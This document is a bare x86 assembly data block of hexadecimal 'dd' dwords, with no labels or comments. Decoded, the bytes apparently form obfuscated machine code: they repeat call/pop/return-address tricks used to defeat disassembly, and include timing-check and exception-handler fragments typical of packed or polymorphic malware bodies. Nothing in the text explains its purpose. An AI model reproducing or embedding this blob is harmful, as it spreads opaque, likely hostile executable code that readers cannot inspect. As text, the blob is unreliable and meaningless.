		dd 15h,	0DBC35646h, 3595099Bh, 0C1060323h, 6A04E8h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0FE8DFC3h, 9C000000h, 0E969B9E8h, 0BD981E4Bh, 67DC8E93h
		dd 0B58B30F6h, 6030E39h, 0E2F7665Eh, 1D25B58Bh,	0B58B0603h
		dd 6031A19h, 8B66D82Bh,	525050F1h, 310FF18Bh, 1C89585Ah
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0DFC69BA0h, 1821BD01h, 0B5FF0603h, 60316D9h
		dd 3810Fh, 8B660000h, 0A595FFF2h, 6A060323h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 6F6EC353h, 4E084197h, 8F0FF36Ch, 6, 170D9D89h, 0B00603h
		dd 850Fh, 70E60000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 8BC35545h, 0CE8101B7h, 343DAC89h, 6A71E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0C1532DC3h, 830F613Ch, 19Fh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0DEC35747h,	0CDAA54B0h, 62FBF9E3h
		dd 0A9E6BE66h, 89D8B60Fh, 319C5BDh, 6BA06h, 0BD010000h
		dd 6030075h, 0D681C38Bh, 4D717233h, 0F904E8C1h,	0FE2F766h
		dd 81h,	6AD82B00h, 3E85300h, 20000000h,	895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 1C9EC353h, 0B4BEAA5Dh,	581DDE63h
		dd 1499B58Bh, 0D82B0603h, 119880Fh, 8D010000h, 6031A85h
		dd 7B9h, 0D5858900h, 83060322h,	958900C1h, 60312E9h, 860FD93Bh
		dd 0F7h, 5140BE66h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 9DBFC356h, 7609F3F3h
		dd 98B01DBEh, 4C1F664h,	99840Fh, 85890000h, 6030E65h, 0A995FFh
		dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0F1B920C3h, 0BAF6A116h, 5BFA7C00h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 73C35242h, 49E927E4h
		dd 6AC32Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 474053C3h, 4A9B64C9h, 343D1A2Fh, 0F000008h
		dd 1686h, 6860F00h, 23000000h, 3046DB5h, 2DE906h, 0BBE0000h
		dd 8B1424E6h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 82B4ABCCh, 0F9BD29DCh, 8B06031Fh
		dd 6AD88BC3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 8610C355h, 38FCC5AEh, 85C7F515h
		dd 6032279h, 38669B39h,	50A3EE81h, 0B70F7B3Ch, 6AC08BF0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0B0EAC351h, 0D9BD8180h, 0D0060316h, 0F000007h
		dd 2A85h, 71B58B00h, 0FF060322h, 316D985h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 0FF068206h, 316D9B5h, 0A99D8906h, 0FF06031Bh, 323A595h
		dd 77D68106h, 0E8405FC9h, 6, 1A9A95D9h,	11E920DAh, 4B000000h
		dd 26539C93h, 0EEE97245h, 22F619BDh, 341CE73Bh,	0D88B905Eh
		dd 2655BD29h, 0BD830603h, 6032EBDh, 10840F00h, 51000000h
		dd 5EF0B70Fh, 25CE9h, 0EDB52B00h, 8C060316h, 53006ADFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0C7F766A9h, 850F0004h, 22Dh,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0FEC35242h,	65B58B3Fh, 0BF060322h
		dd 0
		dd 43DB509h, 810F0603h,	0
		dd 0E69D9D8Dh, 0B58B0606h, 60317F5h, 20820F50h,	0E8000000h
		dd 10h,	0D9D3DE31h, 6E43C6C7h, 77992A81h, 418544C7h, 5E9h
		dd 1E008C00h, 895EE0A7h, 0B58B241Ch, 6030569h, 35FF64h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0D67BC355h, 72D7CB71h,	0BD013C53h
		dd 6032ADDh, 2CF99D89h,	89640603h, 25h,	9E900h,	0E8D40000h
		dd 65247B41h, 8BF09E95h, 50006AC4h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 6651AE4Bh, 0A2F4C681h
		dd 0EB01CD5Eh, 0CE816600h, 6AB3E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0E537A6C3h
		dd 0F68166F7h, 8F6497FCh, 5, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 66B99F32h
		dd 3AE590BAh, 4D85292Fh, 8306030Bh, 6A04C4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5AF950C3h
		dd 96B4EF9Eh, 8501293Ch, 6032E79h, 840FC00Bh, 0B9h, 4B1BD31h
		dd 0BD8D0603h, 6034D69h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0FDC35646h, 0C681664Fh, 5B8F22Ch, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 7656C350h, 0AFDB683h, 0BE9E7FFh, 30000000h
		dd 0AF7771AAh, 64C873Eh, 8B57807Ch, 8B10245Ch, 0B883h
		dd 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
		dd 0C3C0335Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0EFC35141h, 3FCDFB0h, 30D01B5h,	65B50B06h, 8906030Ch
		dd 326619Dh, 0E9CA2B06h, 0FFFFF6A7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 2EC35545h, 29BD09C7h, 0BE06032Dh
		dd 4D3C9BCCh, 0BF66C18Bh, 4EBC6CEh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 32C35040h
		dd 8764B514h, 0FFB6F02h, 1A85h,	14890F00h, 0E9000000h
		dd 0Fh,	6043E021h, 0F2CC6942h, 0CE099B79h, 8D5B3892h, 3130985h
		dd 5B58B06h, 50060327h,	1C07BE66h, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0D7C7C352h, 0D7F2CA0Eh, 0F105A13h, 481h, 5DBF6600h
		dd 6A006AA7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 18BFC352h, 0CB185E72h,	0D9BD8B4Ch
		dd 6A06032Ch, 6890F00h,	8B000000h, 30029B5h, 0FF858D06h
		dd 0E90606E8h, 0Bh, 0AB17D02Bh,	3384FCD1h, 83D3DF9Dh, 816605C0h
		dd 8145B2EEh, 4405BAEEh, 8B0F9007h, 3, 50F28B66h, 0EE8h
		dd 7BD7EA00h, 0E93644E2h, 1DC4A54Ah, 0E9683D29h, 0Bh, 3FBFADC2h
		dd 0B49C66C3h, 5FB6A48Dh, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 40B8EF92h
		dd 75329672h, 0A60DF781h, 6A746Eh, 20159589h, 6A0603h
		dd 0F4DB589h, 95FF0603h, 6031DF9h, 22118589h, 9D8D0603h
		dd 6069933h, 18D5BD8Bh,	0B58B0603h, 6030565h, 6AD3FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0E71141C3h, 0A9E0F02h, 19798D01h, 0BE660603h, 85FF2A6Bh
		dd 6031D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	7CC35242h, 0BB397D51h, 0F121E85h, 981h,	38A0F00h
		dd 66000000h, 8D89F18Bh, 6030EF9h, 79AE9h, 0E800h, 815D0000h
		dd 6E909EDh, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 10C602BCh, 8B84EFAEh, 304F5B5h, 1D9D0906h
		dd 8106031Bh, 316D9BDh,	7D006h,	4F860F00h, 6A000001h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0B42C357h, 0C8DEC450h, 8B2F158Fh, 999D8BFEh,	6A060316h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 8430C357h, 0BE4B4927h, 0E381DAh, 0F000001h
		dd 68Eh, 559D3100h, 0B060326h, 9F850FDBh, 89000000h, 329118Dh
		dd 27BD8306h, 606E7h, 30840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E93A09C3h
		dd 7Ah,	9E9h, 0F71FE700h, 0BDF8B1CAh, 85C7E433h, 606E727h
		dd 1, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Ch
		dd 0AFC35242h, 9CA8316Dh, 5DA64D56h, 0BEE68166h, 34E9F2h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 9FA0C5C3h, 45A72907h, 85C785F9h, 606E727h
		dd 0
		dd 0E5DBD8Bh, 9D8D0603h, 6031699h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 7BC35343h, 0AB7962D7h, 20C5BD8Bh
		dd 23810603h, 0FFFFFEFFh, 19F19D31h, 8C660603h,	0EE8151DBh
		dd 69617152h, 4C3F65Eh,	80840Fh, 0FFF50000h, 300A995h
		dd 0B1B58906h, 90060317h, 178B0Fh, 5E80000h, 47000000h
		dd 5F305159h, 6E8h, 0AA234500h,	5E434282h, 0BB60505Fh
		dd 5DCB3771h, 14E8h, 6F304100h,	2FD7FE79h, 60B34321h, 947B51D2h
		dd 175EABAEh, 5ADA8B59h, 6A9061h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0BC791DC3h, 2F9B589h
		dd 880F0603h, 6, 43BF6651h, 23E95E61h, 0F000003h, 686h
		dd 0C19D2900h, 0B0060322h, 2DB58900h, 8B060300h, 320F5B5h
		dd 0E970E606h, 9, 33C244FEh, 67DE1D83h,	2971E498h, 32381B5h
		dd 0D8B60F06h, 449619BEh, 6BA6Eh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8BDDC3h
		dd 60317B1h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0E8C1E2C3h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 1715A7F9h
		dd 2E66F5D6h, 3B54BE66h, 2589B589h, 0F7660603h,	55006AE2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9D89A5DFh, 603004Dh,	236DB589h, 0D82B0603h, 65DB589h
		dd 50930603h, 74BF5250h, 0F2D7496h, 8E931h, 6FF80000h
		dd 0D7F78271h, 585AA5FEh, 57006A93h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0E7DC0E11h
		dd 0FFC3227h, 0B5FFFBBFh, 60316D9h, 12E9h, 3CE80900h, 82CABEBBh
		dd 2A04CF22h, 0DEB9E70Eh, 29D8D82Bh, 308D185h, 0A595FF06h
		dd 0B0060323h, 358D0900h, 0E6060307h, 52006A70h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 6A71E496h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 348EC351h, 6584FE54h, 830F613Ch
		dd 186h, 10E8h,	5743E500h, 0B8A180CCh, 4A1D1732h, 0DA9DE491h
		dd 8E9A9h, 0C1440000h, 286A6948h, 0F5F2FDDh, 6BAD8B6h
		dd 8B000000h, 31741B5h,	31B52306h, 8B060323h, 57006AC3h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0C1282205h, 958904E8h, 6032FADh, 60D78166h, 0E2F7666Dh
		dd 6870Fh, 0B5890000h, 6030FD1h, 8953D82Bh, 316FD95h, 0E9585F06h
		dd 10h,	2E683A6h, 4B13F658h, 931CD428h,	5958FB5Fh, 880FD82Bh
		dd 0EAh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	70C35343h, 0DAC72D6Ch, 333106CBh, 7B938h, 9D090000h
		dd 6032DE9h, 5100C183h,	0FD93B5Eh, 0AD86h, 8DE78100h, 662B12DAh
		dd 8D01D98Ch, 6032C2Dh,	0F04C1F6h, 7484h, 0A995FF00h, 6A060300h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 105FC350h, 0B529FC61h, 6032675h, 0DB58B5Bh
		dd 2B06031Ch, 6E9C3h, 0B2140000h, 0EFFB6429h, 8343Dh, 2A860F00h
		dd 66000000h, 0F5B9EE81h, 41E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B70F6EA8h
		dd 6AC08BFAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F7FC357h, 0C38BFBB7h,	6AD88Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 645F36C3h, 0C370B4A1h, 2EB585C7h, 47B70603h,	6A3849h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 192165C3h, 0C08B0F82h, 0BD81F08Bh, 60316D9h,	7D0h, 2D850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0B26CDFC3h, 1B1D8529h, 0FFF80603h, 316D985h
		dd 0FF5F5206h, 316D9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0BC97041Ah, 0BDBFA0Bh
		dd 30B85BDh, 9E95306h, 0E8000000h, 8CE879E1h, 0AC3D8538h
		dd 0A595FF5Fh, 0F060323h, 8Ah, 0BD8B9000h, 603076Dh, 64D8D89h
		dd 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 6A09C3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0D4A6D2C3h, 8A7923C2h, 918529CCh
		dd 0F06030Eh, 18Fh, 6AF500h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 150424h, 55450000h, 6080A4C3h, 66ACD580h
		dd 9D8BF18Bh, 603143Dh,	0CF8161F8h, 65624CD8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2CC35141h, 2AB1B58Bh
		dd 85290603h, 60324D9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 4BC35545h, 51A2A700h,	813AD26Bh, 3DF912DFh
		dd 0C9BD893Fh, 6A060313h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0B805C351h,	142CB156h
		dd 0B58952DFh, 6032A91h, 15D1B589h, 315F0603h, 3308DBDh
		dd 0F8B3E906h, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 1E83DEC3h, 0A8BE5200h, 5F068A89h
		dd 218C0Fh, 0CE80000h, 8F000000h, 95DB3D1Ah, 52323534h
		dd 0FB15D2Dh, 0E781F0B7h, 1B93F5D7h, 5195895Eh,	8B060325h
		dd 0B5BD8BC1h, 0EB060314h, 4, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0D5D162FFh
		dd 0FB1CBCBh, 0B1B58BD7h, 66060300h, 858DFA8Bh,	6031309h
		dd 4628D781h, 81663311h, 50BB0DCEh, 0DE8h, 1A520100h, 9BA886A2h
		dd 0E5E5DD4Eh, 8B66E57Dh, 4895FF2h, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 541A94C7h
		dd 0CFE29CF4h, 85897FC4h, 6031745h, 0B4C22DBEh,	0F006A30h
		dd 287h, 6AF38B00h, 6DBD8B00h, 0E9060308h, 11h,	0BA0F17Bh
		dd 4F6371FEh, 3999C461h, 187F1FDFh, 88858D32h, 560606F2h
		dd 0F11BD09h, 835E0603h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 8968B5C3h, 4E9B58Bh
		dd 0F900603h, 8Fh, 6A905000h, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0C83FC355h,	66300156h
		dd 8BFBDBBFh, 0D5B589FBh, 6A060302h, 6860F00h, 89000000h
		dd 31BD58Dh, 6A006A06h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 4DCBC353h, 203DB149h
		dd 30C9B529h, 95FF0603h, 6031DF9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0E6C35141h,	0D2B3D5C9h, 0C494F932h
		dd 1AF9BE66h, 99339D8Dh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0EA95A9C3h, 6AA6809Bh
		dd 0FFFC043Fh, 0ADB58BD3h, 0FF06031Bh
		dd 31D0185h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 1F9CFF2Ch, 0A7D8B012h, 7CFE90Ah
		dd 0E80000h, 5D000000h,	0F292ED81h, 0B5010606h,	60305E5h
		dd 1E11BD8Bh, 0BD810603h, 60316D9h, 7D0h, 183860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0E70C8FC3h, 89952ED7h, 30D2595h, 119D8B06h, 89060331h
		dd 324599Dh, 0E38106h, 0B000001h, 0F8850FDBh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0AAB0C351h, 0D1BD09F1h, 83060324h, 6F0A8BDh
		dd 840F0006h, 5Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 25C35040h, 3A3E187Bh,	0C95ABECAh, 0C7E93860h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 3054C357h, 89340F98h, 315ED85h
		dd 0BDBD8B06h, 6606031Fh, 85C7F28Bh, 606F0A8h, 1, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0E5C35343h, 0CA69E82Ch
		dd 8B6636F3h, 64E9F3h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 80902FC3h, 6A482C45h
		dd 3051BD29h, 8D310603h, 603264Dh, 58A0Fh, 81660000h, 0C73C95DFh
		dd 6F0A885h, 6,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 589D8227h, 9D8D715Bh
		dd 6033111h, 0B6DBD31h,	0B5230603h, 6032F71h, 0FEFF2381h
		dd 0BF50FFFFh, 113A473Fh, 0DB8C665Fh, 1805BD89h, 0B58B0603h
		dd 6031C95h, 0F04C3F6h,	5084h, 0D1858900h, 0FF060325h
		dd 300A995h, 56006A06h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0BDF04A2h, 32141B5h, 57605006h, 310F5250h
		dd 6659585Ah, 61C6EDBEh, 60240489h, 5E97D981h, 958B71A5h
		dd 603048Dh, 3C0E961h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 416CE4C3h, 81667397h
		dd 0B0909FD6h, 70E6FC00h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0B0C35545h, 2D798CB7h, 0E4340172h, 50006A71h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 65EE01ECh, 3591FD87h, 0FA8B668Dh, 0E9D8B60Fh, 13h, 6770D853h
		dd 376E81CAh, 57AD2A1Dh, 808A0506h, 0BA1A80FFh,	6, 3089A2BEh
		dd 89C38B2Dh, 32075B5h,	4E8C106h, 0A3D79CBEh, 0E2F76620h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D9C35747h
		dd 0D82B5730h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	18C35040h, 0CBAEF4DEh, 0E8BA968Ah, 14h,	0F14EA70Ch
		dd 4FCCB41Dh, 0D084CBD0h, 29B928D6h, 0BF13471h,	2119BD8Bh
		dd 505E0603h, 249EBF50h, 895F1551h, 6A241Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 29DE87C3h
		dd 1BD5B58Bh, 0B5FF0603h, 60316D9h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0D0C35545h,	0F38CF1AFh, 0FDBD89D0h
		dd 0FF060316h, 323A595h, 26BF6606h, 0DE8BEh, 9C4F0000h
		dd 71B9A04Fh, 762CAB24h, 5E4CED89h, 0B58900B0h,	6032CD5h
		dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 91082AC3h, 0E4C6DE9Ah, 91DBD8Bh, 14E90603h
		dd 5C000000h, 50DB3234h, 77B7D1B4h, 63BCAFA5h, 5ADEC6E8h
		dd 0E4AA46FDh, 34BF6671h, 0F613CD4h, 1DD83h, 0D8B60F00h
		dd 4850Fh, 0BF660000h, 6BA5D89h, 0F000000h, 38Ah, 0FFB70F00h
		dd 8B66C38Bh, 4E8C1FEh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 97C35242h, 2DB35EAFh,	0DE814h, 0D6210000h
		dd 0D8DA220Fh, 750553D1h, 0B9DD382h, 326E9BDh, 0B58B5F06h
		dd 6032F0Dh, 6AE2F766h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 32F2C350h, 0F5BD33FCh
		dd 2B06030Bh, 6A58D8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0F8AA31C3h, 798D01CCh, 2B06032Ch
		dd 23880FD8h, 57000001h, 7B95Eh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 9526A3C3h
		dd 5A887451h, 0F82B6887h, 0F00C183h, 0D93BF7BFh, 0E8860Fh
		dd 8C660000h, 4C1F6D9h,	0AF840Fh, 0B58B0000h, 60329E9h
		dd 6F25D781h, 95FF1044h, 60300A9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 81C35141h, 89C0F19Bh, 307D595h
		dd 75B58B06h, 5B06030Bh, 1C25BD0Bh, 0C32B0603h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 74C35646h, 0A19B51F2h
		dd 0F95CF241h, 9B58B0Eh, 3D060319h, 834h, 33860Fh, 870F0000h
		dd 6, 18619531h, 4FE90603h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 3B12C357h
		dd 99BE66F7h, 6AC08B18h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0DDB5C357h,	0B8B469DAh
		dd 86AC9ACFh, 30319D89h, 0C38B0603h, 5E56D88Bh,	169985C7h
		dd 65BB0603h, 6A7407h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0C08B0EC3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 1BC35545h, 1A66194Dh, 9C3546DEh
		dd 0D9BD816Dh, 0D0060316h, 0F000007h, 1085h, 0F867BE00h
		dd 85FF30A9h, 60316D9h,	0D7DE8166h, 0D9B5FFE5h,	29060316h
		dd 30EB18Dh, 0A595FF06h, 6A060323h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 487EC352h
		dd 0E6DF819Ch, 901258B1h, 2FA19D89h, 5E90603h, 4E000000h
		dd 0C684A114h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0CBC35040h, 0C4820C3Ch,	6A6980h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0D460E5C3h
		dd 0B782B194h, 0FE8h, 0D8BE5900h, 0FEE6E775h, 78355A26h
		dd 451458Fh, 0FE8h, 7C6E4400h, 541EEF28h, 0B744E9A8h, 5CFFEC70h
		dd 0CE8F5h, 0E48B0000h,	3B5A04FFh, 6ADA047Fh, 5E5FF77Bh
		dd 0D18BF560h, 12E9h, 0B3318600h, 1589CE0Eh, 0C4176339h
		dd 0FF71A287h, 0B4BFE44Bh, 6A5E61E1h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B9FDC357h
		dd 3150E3F4h, 3201585h,	6A5E06h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 6A57C3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 3FDAA3C3h
		dd 0E9EC9734h, 0FFFFF866h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 53C35040h, 0F60392Eh,	858BF6BFh, 6032121h
		dd 19959529h, 0B58B0603h, 6032AEDh, 6AC18B61h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0A2DC353h, 0DE8h,	3F062100h, 178F5A80h, 1291F050h
		dd 665EFF22h, 656CF781h, 4EBh, 81660000h, 296B42DFh, 32D21B5h
		dd 9858D06h, 6A060313h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 70D6C351h, 3C58E8B5h
		dd 9A04B8Bh, 30BF59Dh, 90509006h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 92C35242h, 125910Dh, 312FD85h
		dd 0F006A06h, 68Dh, 880F00h, 6A000000h,	11E900h, 85380000h
		dd 0A273AC3Dh, 0E85DBA25h, 6D794C30h, 8D6EF24Bh, 6FC3885h
		dd 5853106h, 0E8060317h, 13h, 0C9902E78h, 7FB769EFh, 40E49A0h
		dd 23B6713Bh, 89D442CDh, 305718Dh, 0C0835F06h, 8B0F05h
		dd 90000000h, 5E26BF50h, 0F907CF6h, 0B8Eh, 6E900h, 0F4180000h
		dd 27222AB0h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0C8321BC3h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 38684EC3h
		dd 20F5BD8Bh, 95FF0603h, 6031DF9h, 18559589h, 9D8D0603h
		dd 6069933h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	3EC35141h, 0FFCC99D1h, 53006AD3h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 6679A2FFh
		dd 0F890E781h, 1A3DBD89h, 85FF0603h, 6031D01h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9BC35747h, 63739BDBh
		dd 8D2E9D1h, 0E80000h, 5D000000h, 0FC42ED81h, 81600606h
		dd 950DF8EFh, 8161F561h, 316D9BDh, 7D006h, 8C860F00h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8B1FC353h, 322B59Dh, 58A0F06h, 0BF000000h
		dd 7C313DF9h, 100E381h,	880F0000h, 6, 26B59589h, 0DB0B0603h
		dd 0BE850Fh, 860F0000h,	8, 0E1B58B52h, 5F06030Ch, 0FA95BD83h
		dd 0F000606h, 3284h, 0B850F00h,	0E8000000h, 5, 0D6D79F70h
		dd 0C4E95EB5h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0C730C355h,	6FA9585h
		dd 106h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 5FA29D7Ch, 0D9BBBD30h, 14890Fh, 0FE90000h
		dd 0D6000000h, 0D232B532h, 914BFA1Bh, 1C009AFBh, 5CE9921Fh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0C90AC350h, 71413E61h,	0C2CF50DCh
		dd 0FA9585C7h, 606h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0C9991C3h, 0FB383C9h
